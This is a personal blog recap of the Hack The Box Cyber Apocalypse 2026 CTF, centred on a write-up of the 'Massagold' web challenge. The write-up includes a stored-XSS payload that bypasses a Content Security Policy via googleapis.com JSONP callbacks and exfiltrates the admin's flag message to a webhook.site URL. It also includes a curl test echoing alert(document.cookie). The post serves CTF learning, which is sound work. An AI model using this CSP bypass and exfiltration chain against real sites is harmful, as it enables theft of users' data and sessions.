Hack The Box Cyber Apocalypse 2026

There are only a few things in this world that drive me to the brink of madness while keeping me engaged at the same time. CTFs are one of them. The 30th of July marked the end of the annual Hack The Box Cyber Apocalypse CTF, one of my favourite CTFs of the year. What sets this CTF apart from all of the other competitions that Hack The Box run is the sheer number of challenges. There’s something in there for everyone, and players have almost a week to grab as many flags as they can, of which there were 136. If you’d like to read what last year’s Cyber Apocalypse was like, you can check out my Cyber Apocalypse 2025 post.

As with any CTF, my emotional state over the duration of the event can be accurately described by the following images:

Before	After

This two-stage emotional state progression was compounded by the raised challenge difficulty as a result of the increased power of AI. As such power marches ever forward, this CTF was different from the rest since it included an AI policy. It permitted the use of AI assistants, but reminded players that the spirit of the CTF is for the AI to help solve the challenges, not solve them outright. The ethics of using AI during a CTF are interesting, and I’ll touch on them in a bit. But first, what was the backstory for this event?

The Backstory

When High King Maelor tried to steal the realm’s oldest vow, white fire scoured him from existence. The Brine Signet—the sovereign artifact that made royal decrees absolute—shattered into wandering fragments. Trust has collapsed, and Valyssar is bleeding.

This is no longer a war of blades; it is a war of infrastructure, logic, and counterfeit governance. While ambitious lords weaponize forged paperwork and buy off city checkpoints , a far more terrifying threat marches from the fog: the Quiet Marches. Led by the enigmatic Alyss, this mindless “Hollow Host” utilizes a highly synchronized, unbreathing cadence to process entire villages into silent compliance.

The endgame is not a throne of absolute power, but the creation of The Salt Crown—a fault-tolerant constraint system designed to put a permanent leash on authority. The system will only empower a leader who accepts the leash. Secure the chain, or inherit the ruins.

The Team

The New Zealand dream team were back at it again. We had a much larger team available this year since the maximum player count was raised to 30. After putting the call out for players, we assembled people with all kinds of skills, ranging from web to forensics to OSINT. Trying to assemble a team that is adept at every possible challenge category is like a Tetris puzzle.

The Challenges

There were a lot of challenges in this year’s competition, with each belonging to one of the following categories:

• Forensics
• Web
• OSINT
• Pwn
• Coding
• Reversing
• Crypto
• Blockchain
• Cloud
• ICS
• Hardware
• Secure Coding
• AI/ML
• Mobile
• Quantum
• GamePwn

Massagold

This was one of the web challenges that I solved.

Challenge Description: Someone is using sealed harbor letters to make Damas’s ships look late, unsafe, and unreliable. If this continues, Eastreach merchants will leave his ports and his enemies will profit from the panic. Lyra needs to steal the first false letter from the harbor office and bring it to Damas, because proof of sabotage is the only thing that can make him open his routes to Stormbound.

After getting the challenge running locally, I had a look around to see what the target application could do. After registering for an account, an inbox-looking page was presented.

Clicking Compose showed a blank letter that could be sent to a recipient user.

When a user received a letter, they would find it in their inbox.

Opening it up let them unseal it to see what it said.

Whenever I see functionality like this, I immediately jump to trying out a Cross-Site Scripting attack. There was just one thing in the way… the dreaded Content Security Policy. This security mechanism can be a real pain to get around and it stops Cross-Site Scripting attacks in their tracks if you can’t. Below is what the CSP for the challenge looked like:

default-src 'self';
script-src 'self' https://www.googleapis.com;
style-src 'self';
img-src 'self' data:;
font-src 'self' data:;
connect-src 'self';
object-src 'none';
form-action 'self';
frame-ancestors 'none'

The main directive to pay attention to when you’re wanting to do XSS is the script-src directive. This dictates the sources that a script must be loaded from before it will be allowed to execute. This CSP allowed scripts loaded from the following locations to be executed:

• 'self' (the target application itself)
• https://www.googleapis.com

The googleapis.com entry was very interesting indeed. A fun trick you can do with a CSP like this is take advantage of JSONP (JSON with Padding). This is essentially where you specify the JavaScript that you want to execute once the API has returned its response. The funky part of this process is that you give the API the JavaScript and it then echoes it back to you. Below is a simple example of what this looks like:

curl 'https://www.googleapis.com/customsearch/v1?callback=alert(document.cookie)'

// API callback
alert(document.cookie)({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: 'alert(document.cookie)'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
    "errors": [
      {
        "message": "Invalid JSONP callback name: 'alert(document.cookie)'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
        "domain": "global",
        "reason": "badRequest"
      }
    ],
    "status": "INVALID_ARGUMENT"
  }
}
);

I’m sure you can see the possible security issue in this. Since googleapis.com was permitted by the challenge CSP, it was possible to use the above URL to confirm the presence of a stored cross-site scripting vulnerability. Sure enough, plugging it in and opening the created note confirmed XSS.

The application source code showed that the flag was stored on a message which was inaccessible to my own user account.

const flag = fs.existsSync(flagPath)
  ? fs.readFileSync(flagPath, 'utf8').trim()
  : 'flag file missing';

await createMessage(
  users.archivist,
  users.admin,
  `Archive notice:\n\nThe sealed royal record reads:\n${flag}`
);

Another part of the source code showed that if the admin user was sent anything, they would open it.

if (recipient.username === 'admin') {
  enqueueMessageVisit(result.lastID);
}

So, the goal was to send a malicious message to the admin user which contained a stored XSS payload. The payload would make a request to the message containing the flag, and then exfiltrate it to a location where we could retrieve it. Now, admittedly, I got real into the weeds here and my payloads got pretty convoluted. Here is what eventually got the flag:

<script src="https://www.googleapis.com/customsearch/v1?callback=xss=function(d){var+xhr=new+XMLHttpRequest();xhr.open('GET','/messages/1?d=20',false);xhr.onload=function(){console.log(btoa(xhr.response))};xhr.send();return+btoa(xhr.response)};let+a="></script>

<script defer src="https://www.googleapis.com/customsearch/v1?callback=window.location='https://webhook.site/3980e49f-fdf5-4165-bd23-5473712afab8?a=b'%2Bxss();let+c="></script>

The first script tag creates a function which retrieves the flag from the first message (/messages/1). The ?d=20 component of the URL was a leftover artefact used to bypass caching while testing the payload in my own browser. After retrieving the response containing the flag, the function returns the base64-encoded page HTML.

The second script tag makes a request to webhook.site with the base64-encoded HTML content (containing the flag) appended as a URL parameter. After sending this payload to the admin, a request landed on webhook.site. After decoding the base64 from the URL, I was able to retrieve the flag.

Flag: HTB{m3554g3_1n_7h3_cu570dy_ch41n_776586782cf9eb2f6a7cee133ce2d6e8}

The Finish

Unlike previous years, the ending of the competition was fairly anti-climactic. One of the best (not really) things about being in NZ is that most HTB events begin or end in the middle of the night. This one had the added bonus of ending in the middle of the week too. As such, I wasn’t able to spend as much time on solving challenges as I would have liked. Regardless, the team did an amazing job capturing 108 out of the total 136 flags.

The Lessons

Every CTF is a chance to learn something that you didn’t know when going into it. Here’s what I learned from Cyber Apocalypse 2026.

Use AI To Help You Help Yourself

With the power of AI growing every day, it’s easy to just throw the challenge to the AI and ask it to solve it for you. Obviously that’s a silly idea and a poor use of such an advanced tool. A much better approach is to use it to help you figure things out on your own.

An example from my own experience is the Massagold challenge. I had reviewed JavaScript apps before, but I had never seen or used Puppeteer (the browser automation library used in the challenge). I had developed a payload that worked in my own browser, but it wasn’t working when I tried to get the bot to execute it. So, I asked Claude how I could write some debug statements into the app’s code in order to get a better idea of what was going on. Using the code that it gave me, I was able to quickly identify what was going wrong and adapt my payload to avoid that issue (turns out I was running into the connect-src directive of the CSP). I could have easily just asked Claude to give me the solution, but that wouldn’t have taught me nearly as much.

Challenge Difficulty Is Higher

From my point of view, it seems that the average challenge difficulty is greater when compared to challenges from previous years, which I put down to AI. Now that everyone has an LLM on hand to help them, the challenges need to be adapted to ensure that players still have to put in the work in order to get the flags.

The challenges from Hack The Box didn’t disappoint. Even with AI on our side, it still took some effort to successfully retrieve the flags. Even challenges rated as Very Easy required some in-depth knowledge of the vulnerability being exploited.

We’re All Imposters

CTFs definitely cause that imposter feeling to spike for me. The CTF competition feels like the test that you didn’t study for, but everyone else did. You’re seeing them solve challenges left right and centre, and you’re sitting there staring at the code thinking “what in the world is this supposed to mean?”. You then start wondering why you’re even there.

It’s easy to falsely assume that everyone else isn’t struggling with the challenges, when it’s almost certain that they are. The truth is that everyone in the cybersecurity industry experiences imposter syndrome at some point. If anyone says they haven’t, then they’re lying to you.

So how do you avoid feeling like an imposter? Tell everyone else about what an imposter you are. You’ll find out that we’re all imposters.

Read The Solutions

It’s easy to forget, but reading the solutions for the challenges is super valuable for learning. After spending hours being stuck on something, seeing the solution will finally relieve you of that mental knot and give you insight into just how close (or far away) you were from the answer.

Even reading the solutions for the problems that you did solve is useful. Everyone approaches a challenge in a different way. Observing how others find the answer can help us avoid tunnel visioning on something else similar later on.

At the end of Cyber Apocalypse, Hack The Box run a CTF “after party”. This is when the challenges are all made available once again and players are permitted to share their solutions so that they can observe where they might have made mistakes and to fill gaps in their knowledge. There is also an extra channel added to the HTB Discord server for players to share their own writeups. This is an awesome learning opportunity as other players frequently come up with novel approaches for solving challenges that aren’t covered in the official writeups.

You can find the writeups for the CTF below:

• Official writeups: https://github.com/hackthebox/cyber-apocalypse-ctf-2026
• My own fork (sometimes the official repos disappear): https://github.com/Blinky-Keys/cyber-apocalypse-ctf-2026

The Certificate

Hooray for CTF certificates! Here’s my Cyber Apocalypse 2026 certificate:

Cyber Apocalypse was a fun mental detour, but now I’m going to go back to grinding certs. Keep on hacking!